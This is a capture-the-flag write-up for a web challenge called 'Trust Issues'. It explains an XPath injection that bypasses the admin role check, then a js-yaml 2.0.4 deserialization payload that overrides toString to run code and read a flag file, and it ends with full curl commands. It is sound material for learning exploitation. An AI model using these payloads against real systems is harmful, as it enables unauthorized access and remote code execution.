This challenge combines XPath Injection to bypass admin authentication and a classic Remote Code Execution (RCE) vulnerability in an old version of js-yaml (2.0.4).
Challenge Overview
| Field | Value |
|---|---|
| Name | Trust Issues |
| Vulnerabilities | XPath Injection, Yaml Deserialization |
Reconnaissance
Vulnerabilities Identified
- XPath Injection - User input directly concatenated into XPath queries
- js-yaml 2.0.4 RCE - Unsafe
yaml.load()allows code execution via!!js/function
Exploitation
Step 1: XPath Injection (Admin Bypass)
Vulnerability Location
server.js:101 - Admin check query:
const query = `//user[username/text()='${username}' and role/text()='admin']`;
Working Payload
unique_<timestamp>' or starts-with(username/text(), 'unique_') or '
How It Works
-
Registration check:
//user[username/text()='unique_...' or starts-with(username/text(), 'unique_') or '']- No existing user matches → Registration succeeds
-
Login check:
- After registration,
starts-with()matches our newly created user - Login succeeds, session stores our injected username
- After registration,
-
Admin check:
//user[username/text()='unique_...' or starts-with(username/text(), 'unique_') or '' and role/text()='admin']- Due to operator precedence (
and>or), the'' and role/text()='admin'evaluates first - The
starts-with()condition returns our user node, bypassing the admin check!
- Due to operator precedence (
Step 2: js-yaml 2.0.4 RCE
Vulnerability Location
server.js:246 - YAML parsing:
parsed = yaml.load(fileContent);
const applied = "" + parsed;
Target Endpoint
POST /admin/create (requires admin access - which we have!)
Payload (Working)
"toString": !<tag:yaml.org,2002:js/function> "function(){ return process.mainModule.require('fs').readFileSync('/app/flag.txt','utf8') }"
Note: The explicit tag format !<tag:yaml.org,2002:js/function> is required instead of the shorthand !!js/function.
Why It Works
- The
toStringkey is crucial - When the parsed object is coerced to string with
'' + parsed, JavaScript calls the object'stoString()method - Our malicious function replaces
toString, so it executes and returns the flag content
Full Exploit Commands
# 1. Register with XPath injection
PAYLOAD="unique_$(date +%s)' or starts-with(username/text(), 'unique_') or '"
curl -X POST "http://104.198.24.52:6014/register" \
--data-urlencode "username=${PAYLOAD}" \
--data-urlencode "password=hack123"
# 2. Login and save session cookie
curl -X POST "http://104.198.24.52:6014/login" \
--data-urlencode "username=${PAYLOAD}" \
--data-urlencode "password=hack123" \
--cookie-jar cookies.txt
# 3. Verify admin access
curl "http://104.198.24.52:6014/store" --cookie cookies.txt
# 4. Exploit YAML RCE to read flag
curl -X POST "http://104.198.24.52:6014/admin/create" \
--cookie cookies.txt \
-H "Content-Type: application/json" \
-d '{"filename": "rce.yml", "fileContent": "{ toString: !!js/function '\''function(){ return process.mainModule.require(\"fs\").readFileSync(\"/app/flag.txt\",\"utf8\") }'\'' }"}'